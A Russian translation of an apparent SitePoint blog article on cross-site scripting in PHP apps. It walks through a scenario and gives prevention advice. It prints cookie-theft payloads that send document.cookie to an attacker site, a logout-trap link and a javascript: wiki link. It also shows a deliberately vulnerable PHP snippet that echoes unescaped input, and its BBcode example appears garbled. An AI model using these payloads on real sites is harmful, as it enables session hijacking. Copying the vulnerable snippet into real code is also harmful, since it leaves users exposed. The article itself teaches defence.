Статьи

Межсайтовый скриптинг может заставить вас потерять ваши куки

Межсайтовый скриптинг (XSS) — это форма эксплойта безопасности, которая угрожает любому веб-приложению. Его серьезность часто недооценивается. Проблемы выходят далеко за рамки неприятностей и практических шуток. Похищая ваши куки, атаки с использованием межсайтовых сценариев могут позволить злоумышленникам получить административный доступ к вашей CMS.

Как это происходит? Проблема возникает, когда веб-приложение (например, скрипт PHP) отображает пользовательский контент, не фильтруя его. Если пользователь отправляет запись в гостевой книге, комментарий в блоге или даже имя пользователя и пароль, этот контент может содержать все виды мерзостей, которые необходимо отфильтровать, если они должны отображаться на веб-странице. Это может быть либо относительно безвредный, например, практические шутки, либо вредоносный код, предназначенный для получения частной информации и проникновения в вашу систему. Обычно эти «гадости» являются скриптами — отсюда и название «межсайтовый скриптинг».

Относительно безвредное использование межсайтовых сценариев:

  • HTML-код, предназначенный для нарушения макета или внешнего вида веб-страницы.
  • Скрипты, апплеты или объекты, задуманные как практическая шутка, отображающие раздражающие сообщения или всплывающие окна.

Еще несколько вредных применений межсайтового скриптинга:

  • Вводящие в заблуждение гиперссылки, которые ссылаются на URL-адреса, которые могут вызвать действие, например, выход пользователя из системы, создание сообщения или изменение пароля.
  • Сценарии или гиперссылки «javascript:», предназначенные для сбора частной информации из файлов cookie и передачи ее на сторонний веб-сайт для получения доступа администратора к системе.
  • Объекты или апплеты, предназначенные для использования известной уязвимости безопасности в конкретном браузере.

Жизненный цикл использования межсайтового скриптинга

Я считаю, что межсайтовый скриптинг может быть сложной концепцией для изображения. Я проведу вас через типичный сценарий межсайтового скриптинга и приведу несколько примеров того, что возможно.

Джо создал CMS с учетными записями пользователей, сессиями и различными уровнями доступа для разных пользователей. Чтобы войти в свою CMS, он вводит имя пользователя и пароль в форму входа на сайте. Во время сеанса браузера cookie хранит его «идентификатор сеанса», который позволяет ему оставаться в системе во время навигации по сайту.

Веб-сайт Джо также позволяет любому пользователю зарегистрировать новую учетную запись и разместить «сообщение» на веб-сайте. Например, сообщение может быть размещено в комментарии блога, или в профиле пользователя, или даже в имени пользователя. К сожалению, Джо забыл использовать htmlspecialchars в некоторых местах, где он отображает пользовательский контент в браузере.

Вредоносный пользователь Рик регистрируется на сайте Джо и заполняет его новую страницу профиля. В своем профиле пользователя он включает текст:


<script>alert('Hello World');</script>

Теперь, когда Джо (или кто-либо еще) просматривает профиль пользователя Рика, он получает раздражающее всплывающее окно JavaScript, дразнящее его.

Рик становится немного хитрее и помещает следующий код в комментарий блога на сайте Джо:

 
<a href="/usercp.php?action=logout">A webpage about cats</a>

Теперь, когда Джо (или кто-либо еще) нажимает на ссылку, полагая, что это приведет их на веб-страницу о кошках, он будет отключен от своей CMS. Это очень раздражает, и Джо долго ломает голову.

Становится хуже. Теперь Рик помещает следующий код в запись в гостевой книге на странице Джо:

 
<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>

Теперь, когда Джо (или кто-либо еще) просматривает гостевую книгу, он будет перенаправлен на страницу на сайте Рика. Более того, файл cookie из сеанса браузера Джо был передан на веб-сервер Рика как часть URL-адреса.

Теперь Рик использует cookie из сеанса браузера Джо, чтобы просмотреть CMS Джо, используя учетную запись Джо. Рик может изменить пароль Джо, предоставить ему доступ администратора или начать удаление контента.

Рик получил доступ администратора к CMS Джо, поместив тег <script> в гостевую книгу Джо. Здесь мы имеем дело с <i> захватом сеанса </ i> — кражей идентификатора сеанса (который часто хранится в cookie) у другого пользователя, чтобы имитировать его в системе.

Рик мог использовать другие методы для достижения того же результата. Например, Рик мог использовать ссылку JavaScript, чтобы заставить Джо отправить ту же информацию на его сервер:

 
<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A Webpage about dogs</a>

Если Джо щелкнет по этой ссылке, как он, вероятно, часто делает, его идентификатор сеанса будет передан на сервер Рика.

Кроме того, Рик мог встроить свой JavaScript в атрибуты обработчика событий, такие как «onclick», «onmousemove» и «onsubmit» — последние, которые можно использовать для изменения формы на сайте.

Рик мог также попытаться использовать другие инструменты, кроме JavaScript, такие как элементы управления ActiveX или апплеты.

Заплатить эти отверстия

Ниже приведены некоторые шаги, которые вы можете предпринять, чтобы предотвратить использование атак межсайтового скриптинга в вашем приложении PHP.

Всякий раз, когда вы размещаете контент, представленный пользователем, на вашем Веб-сайте, используйте htmlspecialchars в данных, прежде чем их отображать. Это включает в себя данные, которые поступают из базы данных.

Возможно, вы отображаете нефильтрованный пользовательский контент там, где вы этого не понимаете. Например, следующее опасно.

 
if (strlen($_GET['username']) > 12)
{
  exit("Error: {$_GET['username']} is too long.  Your username may be nor more than 12 characters");
}

В этом случае пользовательская переменная «имя пользователя» отправляется в браузер без фильтрации. Пользователь может создать URL-адрес, подобный следующему, и обманом заставить людей щелкнуть по нему:

 
http://www.example.com/register.php?username=<script>alert('gotcha');</script>

Этот JavaScript безвреден, но его можно изменить, чтобы украсть информацию из файлов cookie и передать ее третьей стороне.

Вы также можете уменьшить количество ущерба, который может быть нанесен, если пользователь перехватит сеанс пользователя. При разработке вашей CMS не полагайтесь исключительно на куки для аутентификации пользователя. В дополнение к cookie-файлам у пользователей также должен запрашиваться пароль, когда они предпринимают определенные действия с высокой степенью риска, такие как использование раздела «администратор» вашей CMS или изменение своего пароля. Таким образом, если ваш сеанс был захвачен с использованием вашего идентификатора сеанса, злоумышленник не сможет изменить ваш пароль или серьезно повредить ваш сайт. Однако снижение риска в случае атаки должно быть второстепенным приоритетом для предотвращения атаки в первую очередь.

Тестирование уязвимостей межсайтового скриптинга в вашем приложении

Быстрый способ проверки на наличие уязвимостей межсайтового скриптинга состоит в том, чтобы вставить следующий код в любую пользовательскую переменную. Например, вставьте следующий код в форму комментариев блога:

 
<script>alert('Hello World!');</script>

Затем посетите свой блог, чтобы увидеть, как выглядит комментарий. Если вы видите код, который вы отправили, ваше приложение обработало его правильно. Если ваш комментарий пуст и вы видите всплывающее окно JavaScript, ваше приложение уязвимо.

Важно не просто тестировать очевидные места, где пользователи могут отправлять контент. Думай за пределами площади. Например, вы отображаете имена пользователей повсюду — может ли пользователь встраивать HTML или JavaScript в имя пользователя? Что насчет подписей? Секретные вопросы и ответы?

Межсайтовый скриптинг может даже стать проблемой в ситуациях, когда HTML отфильтровывается из пользовательского контента, но используется другой язык разметки:

BBcode:

 
https%3A%2F%2Feditor.sitepoint.com

Вики-разметка:

 
[javascript:alert("Yes");|Are you vulnerable?]

Два вышеупомянутых эксплойта (для досок объявлений и вики) требуют, чтобы ничего не подозревающий пользователь фактически щелкнул ссылку для выполнения скрипта. Интересно, что вики, которую мы используем в SitePoint, уязвимы. Если кто-нибудь обманом нажмет ссылку, будет запущен любой JavaScript в этой ссылке.

К счастью, vBulletin, по-видимому, не уязвим для javascript: ссылки, отправленные с помощью метода выше.

Дополнительную информацию о межсайтовых сценариях можно найти в этом CERT Advisory и в этом документе от Apache . В документе Apache указывается, что название «межсайтовый скриптинг» является вводящим в заблуждение термином, поскольку для атак не нужно использовать скрипты, и они даже не должны быть на разных сайтах. Ранее в этом блоге Гарри рассказывал о работе с контентом от незнакомцев , который дает дополнительную информацию о том, как вы можете защитить свое приложение от эксплойтов.

Взгляните на эту очень подробную статью Криса Шифлетта о предотвращении атак с использованием межсайтового скриптинга.

Межсайтовый скриптинг — это только одна из возможных форм удаленной атаки на веб-приложение. Это, вероятно, одна из самых распространенных уязвимостей в веб-приложениях, наряду с уязвимостью SQL-инъекций, которая обсуждалась ранее в этом блоге в связи с магическими цитатами в PHP.